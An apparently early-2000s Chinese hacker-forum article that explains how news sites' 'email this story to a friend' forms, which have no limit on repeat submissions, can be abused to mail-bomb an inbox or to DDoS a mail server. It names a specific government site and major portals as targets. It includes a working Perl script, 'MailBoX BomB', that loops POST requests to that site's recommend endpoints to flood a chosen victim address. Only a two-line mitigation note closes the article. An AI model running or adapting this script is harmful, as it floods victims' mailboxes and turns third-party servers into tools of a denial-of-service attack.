现在DOS/DDOS很流行,一些无聊人士钟情于此.国内一些不错的安全站点不少都遭受了袭击.本文介绍的是利用一些新闻站点提供的将新闻通过e-mail发送给好友的功能进行对mailbox的轰炸,或者说对于邮件服务器的DOS/DDOS攻击(这完全有可能实现).本文涉及的内容造成的损失与作者以及作者所在组织无关. 现今的新闻站点,大到sina,sohu,yahoo小到个人站点曾几何时新闻浏览程序都出现了"推荐好友"这么一个栏目(名称不一),这类程序大部分都是用PHP/perl/asp写的,也有用JSP/C等写的.但是都存在一个问题.就是重复提交.也就是我们常说的没有开"防刷"机制,这直接导致恶意用户可以利用其进行一些攻击. 举个实例(没别的意思,出了乱子别找我):http://www.infosec.gov.cn/这个站点大家大概比较熟悉,它是国家计算机网络与信息安全管理中心的服务器,它上面存在着一个叫做recommend.php,就是用来实现邮件发送新闻的功能.但是它就是没对重复提交问题做出限制,这直接导致我们可以......... 让动手试试看.我们的目的就是轰炸一个mailbox,测试目标是新注册的一个信箱----xxxx@21cn.com我们填好用户姓名,自然是乱填,就叫"卧室白痴"(呵呵~就是我).然后其他要写姓名的地方都乱写(我想没人愿意靠这种方式"扬名天下"吧?),然后邮件地址写xxxx@21cn.com(大家别都用我的信箱做试验品,:P)其余的随便你怎么写.然后点击"发送"就可以了.程序会提示你发送成功,然后我们就在这个返回的成功页面不断刷新,N次后,由于该站点(多数站点如此)支持同时发送给多人,但是又不检查用户输入的e-mail地址是否相同,所以它支持同时发送多少人(假设X人),受害者收到的信件就是X * N封.更具有讽刺的是,这些新闻的长度都不会太小.那个信箱就有的受了........目前国内外的多个站点经我测试都存在该问题,比如sina/yahoo/sohu等等.并且yahoo的问题更严重.(为什么,自己实地考察去). 上面所说的这种方法只不过是简单的实现对于个人mailbox的攻击,其实利用这种缺陷,完全可以对于一个邮件服务器进行大规模的DDOS攻击,原理很简单,你找N个存在问题的站点,写个程序自动解析出提交给邮件发送程序变量,并且随机生成某一邮件服务器上的账号(如果你对单一账号发送大量邮件可能会被一些设置过的服务器过滤),然后不断提交给那些沦为"帮凶"存在缺陷的服务器,受害者自然也就不好过了.当然这只是设想,理论上的东西,没有测试过,你有兴趣可以自己写出ex-p-loit.对于一些存在缺陷的服务器可能在接受大量提交数据的同时自己就先跨掉了.比如利用类似SQL兄介绍过的WEB压力测试器的程序提交数据.同时某些站点还允许发送本站数据以外的内容.好了,其他就不说了.本来这些东西也没什么好说的,类似的问题可能还很多,也许大家早就发现这个问题了,只是不愿说出来罢了.本人水平所限,写不出什么技术高深的文章,大家见笑了. P.S 不要轰我啊~呵呵! 附: 1.Exploit for test #!/usr/bin/perl #MailBoX BomB By Bytes #E-mailBytes2000@163.com #只可测试..发送的邮件 = $loop * 3
use HTTP::Request::Common; use HTTP::Response; use LWP::UserAgent;
$vic = new LWP::UserAgent;
$FromName = $ARGV[0]; $FromEmail= $ARGV[1]; $ToName1 = $ARGV[2]; $ToEmail1 = $ARGV[3]; $ToName2 = $ARGV[2]; $ToEmail2 = $ARGV[3]; $ToName3 = $ARGV[2]; $ToEmail3 = $ARGV[3]; if (!$ARGV[5]) { print " MailBoX BomB By Bytes 2002-11-27\n "; print "E-mail:Bytes2000\@163.com HP:ubytes.yeah.net\n"; print "==============================================>\n"; print "usage: $0 <Fromname> <FromEmail> <ToName> <ToEmail> <loop> <RecommendFile>\n\n"; print "Fromname ---发送人姓名\n"; print "FromEmail --发送人Email\n"; print "ToName -----收件人姓名\n"; print "ToEmail ----收件人Email\n"; print "loop -------循环次数\n"; print "RecommendFile ----要附带的消息保存的文件\n";
exit(1); }
$loop = $ARGV[4]; open(BOMB, "< $ARGV[5]")||die "Can not open File!!!"; $RECOM = <BOMB>; close(BOMB); for ($i=1;$i<=$loop;$i++) { $response = $vic->request(POST 'http://www.infosec.gov.cn/apps/recommend/recommend_form.php', [Url => 'http://www.infosec.gov.cn/03-law/show_dffg.php?dffg_id=9.0', FromName => "$ARGV[0]", FromEmail => "$ARGV[1]", ToName1 => "$ARGV[2]", ToEmail1 => "$ARGV[3]", ToName2 => "$ARGV[2]", ToEmail2 => "$ARGV[3]", ToName3 => "$ARGV[2]", ToEmail3 => "$ARGV[3]", Recommend => '$RECOM', submit => '发送', ] ); if ($response->is_success) { if ($response->content =~ /文章推荐结果|/) { $response = $vic->request(POST 'http://www.infosec.gov.cn/apps/recommend/recommend.php', [Url => 'http://www.infosec.gov.cn/03-law/show_dffg.php?dffg_id=9.0', FromName => "$ARGV[0]", FromEmail => "$ARGV[1]", ToName1 => "$ARGV[2]", ToEmail1 => "$ARGV[3]", ToName2 => "$ARGV[2]", ToEmail2 => "$ARGV[3]", ToName3 => "$ARGV[2]", ToEmail3 => "$ARGV[3]", Recommend => '$RECOM', submit => '发送', ] ); if ($response->content =~ /文章推荐结果/) { print "Attack succeed!!!!!\n"; } else { print "Attack failed!!!!!\n"; } } } }
2.解决方案: 可以限制数据重复提交. E-maiL服务器应该过滤重复多次发送的信件. 不过似乎都不完善,:>